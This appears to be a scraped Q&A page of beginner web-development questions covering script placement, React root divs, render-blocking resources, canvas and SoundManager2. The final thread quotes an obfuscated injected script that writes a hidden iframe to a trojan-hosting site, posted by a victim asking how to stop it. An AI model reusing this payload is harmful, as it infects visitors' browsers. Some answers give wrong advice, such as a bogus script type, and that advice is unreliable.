I'm looking into creating browser game development. I have a strong background in C programming (c/c++/c#) and web development (html/css/wordpress/some JS). This area of programming seems like chaos and no one has a firm framework that works well and is good.
I've been exploring at libraries available such as gameQueryJs and other tutorials I've found such as Canvas Tutorial, I keep running into the same issue.
They all just jump STRAIGHT into the code. No pre-set up, how the HTML page should look like, just nothing. They all go BANG, right into the javascript.
Before I get into the javascript I need to set up the web page. I am wondering how such a page would be designed like and how to import scripts correctly.
For example, if I wanted to add jquery and the gamequery libary, would I add it like this?
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/jquery-3.1.0.min.js"></script>
<script src="js/jquery.gamequery-0.7.1.js"></script>
<title> GAME TITLE </title>
</head>
<body>
<div id="game-txt">
<h1> GAME TITLE </h1>
</div>
<div id="wrap">
<div id="canvascontainter">
<canvas id="canvas" width="300" height="300"></canvas> -- ignore this, this was when I was playing with the canvas tutorial
</div>
</body>
</html>
<!-- SCRIPT STUFF DOWN HERE? -->
To further explain my issue, here is gameQueryJS's first line of code they introduce to you to use.
var PLAYGROUND_HEIGHT = 250;
var PLAYGROUND_WIDTH = 700;
$("#playground").playground({height: PLAYGROUND_HEIGHT, width: PLAYGROUND_WIDTH});
Where does that go? What is the playground id they are manipulating on the page? They just throw that line at you like every other tutorial I've found without explaining anything.
Javascript can be placed in script tags or in a seperate file just like the gameQueryJs libraries that you are loading.
Where you put the script tags is almost entirely up to you, although most people will put them in the section.
Putting them below the closing tag of the page is not correct however. Unfortunately most browsers will accept and execute it even then because they try quite hard to make every page they get served work. For more on where to place script tags check W3Schools
The playground they refer to is an element that you'd have on your page, in their example from lesson one it is a div with the id playground.
Also, if you check the first example that they give you can select Edit with JSFiddle the code they show there should help anwser part of your question as well as add to the lack of information you complained about.
Related
I've wondered this before, but never gotten an answer. Then just today I came across another site: http://ruralcoz.com/ with no html in the source code. Only a minified script. Does anyone know how the developer built this site, and why they chose to replace all the html with javascript? What's the benefit of this? How is this done?
Thanks!
That's a React app. React uses JavaScript to create everything on the page and then loads it into the one root div on the page.
There are advantages to doing it this way and you can read more about it here
That site does have HTML in the source code, specifically:
<!doctype html>
<html lang="en">
<head>
<title>Four Points Funding</title>
<link href="/static/css/main.d6132581.css" rel="stylesheet">
...
</head>
<body><noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<script type="text/javascript" src="/static/js/main.0673017f.js"></script>
</body>
</html>
All of the above is HTML markup, and pages must have HTML to be rendered as HTML pages. There's no way around that.
What this site is lacking is content in the <body>, which might seem a bit odd, but is very doable. Javascript can be used to create elements and to insert them into the HTML, which is happening here. For example:
<script>
const div = document.createElement('div');
div.textContent = 'Body content!';
document.body.appendChild(div);
</script>
I tried Google PageSpeed Insights to check how much my website speed does well! But it shows an error in mobile version. Google suggested me to remove render blocking javascript to make my site better looks in mobile device. I've written bellow what exactly they said to me.
Your page has 1 blocking script resources and 3 blocking CSS
resources. This causes a delay in rendering your page.
None of the above-the-fold content on your page could be rendered
without waiting for the following resources to load. Try to defer or
asynchronously load blocking resources, or inline the critical
portions of those resources directly in the HTML. Remove
render-blocking JavaScript:
https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js
Optimize CSS Delivery of the following:
http://fonts.googleapis.com/…%3A300%2C400%7CRaleway%3A400%2C500%2C900
https://www.blogger.com/…/3728782508-widget_css_mobile_bundle.css
https://www.blogger.com/…&zx=88195f1c-da8c-4c99-bb3e-609abb88c4fa
If you've written your page to be dependent on using jquery on load, removing it would mean you'd have to re-write a lot of your code, to save, perhaps 10 milliseconds in load time?
Open your browser's debugger, look at the NETWORK tab and reload the page. You should be able to decide whether this suggested optimization is worth it or not (I'm suggesting it is not).
I was having a similar issue with Javascript. Make sure that in your code after your source your java that you put a type="text/js". Like this:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js" type="text/js"></script>
Otherwise you need to go into your server and make adjustments to your htcaccess file.
Heloo Nazmul, may be you should to edit your question to "How to Remove default JS and CSS that make Render Blocking Javascript in Blogger?" may be so long but I think your problem is it.
Follow my step with :
change <head> to <head>
If your Internet Service Provider give some bloking JS and CSS add <!-- </head> --> before </head>
Change </head> to <!--<head/>-->
add <!-- </body></html> --> before </body></html>
It is about DOM get work, I will give you example my blank blogger template if you still headache.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<meta charset='utf-8'/>
<style/>
<b:skin><![CDATA[]]></b:skin>
<!-- </head> -->
<!--<head/>-->
<body>
<b:section class='header' id='header' showaddelement='yes'/>
<h1 style="color:blue;font-family: monospace">klikada.com</h1>
<b:section class='main' id='main' showaddelement='yes'/>
<b:section class='footer' id='footer' showaddelement='yes'/>
<!-- </body></html> -->
<style>a:link{text-decoration:none;}a:visited{text-decoration:none;}a:hover{text-decoration:none;}a:active{text-decoration:underline;}</style>
</body>
</html>
I apologize as I am a relative beginner to programming, especially for the web. I am currently try to utilize the videos from code player but the website does not show how each file is linked together through the html. The below is the current structure of the html file. I would like to know how this needs to be changed to get the javascript to display in the canvas. (The style sheet works correctly)
<!DOCTYPE html>
<html>
<body>
<link rel="stylesheet" type="text/css" href="GaugeStyling.css">
<canvas id="canvas" width="300" height="300">
<script type="text/javascript" src="gaugescripts.js"></script>
</body>
</html>
i am too a relative beginner but for a start you don't need the type in the script anymore and you put the script in the head section, which you don't seem to have.
In your gaugescripts.js, i presume you have a line such as:
var canvas=document.getElementById("canvas");
if you so that how you connect the two after the i'd need to see the script to see where your problem lies.
good luck
I would like to include an audio/possible video player on my website with the following attributes:
Must be placeable via a <div>;
Styled via CSS;
Can read all ID3 info;
Can pull the file from a database (probably GoDaddy's Easy Database);
No flash;
Transferrable to smartphones etc.
I have been herded to SoundManager2 which appears to fit the bill, but I seem to be having real trouble just making a clickable image to begin playing my mp3. I have zero JS skills so am going from silly basic and building up slowly. I suppose I have two questions:
Is there another media player that is better suited?
I can't create a Fiddle with what I have so far, but this is the very simple HTML - what is going wrong?:
<html>
<head>
<script src="script/soundmanager2.js"></script>
<script>
// Path to Flash Files
soundManager.url = 'swf/';
soundManager.onload(function(){
// SM2 is ready to Play Audio
// Create "mySound"
soundManager.createSound({
id:"mySound",
url:"audiofiles/my.mp3",
onfinish:function(){window.location.href='index.html}});
};
// Play File
//soundManager.play('mySound','my.mp3');});
</script>
</head>
<body>
<img src="image.jpg" alt="Previous" border="0" width="400" height="400" onclick="soundManager.play('mySound',{volume:100})";>
</body>
</html>
I had copied this code from another website, but I have a sneaking suspicion that the code was incomplete, so any help would be...err...helpful.
I operate the website you say you took the code from. I updated it and it should work. Make sure you do both sections in the tutorial. The second section assumes that you are using the same file structure as the first. This should work completley fine now:
http://en.wikiaudio.org/SoundManager2:How_to_play_and_trigger_sound
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!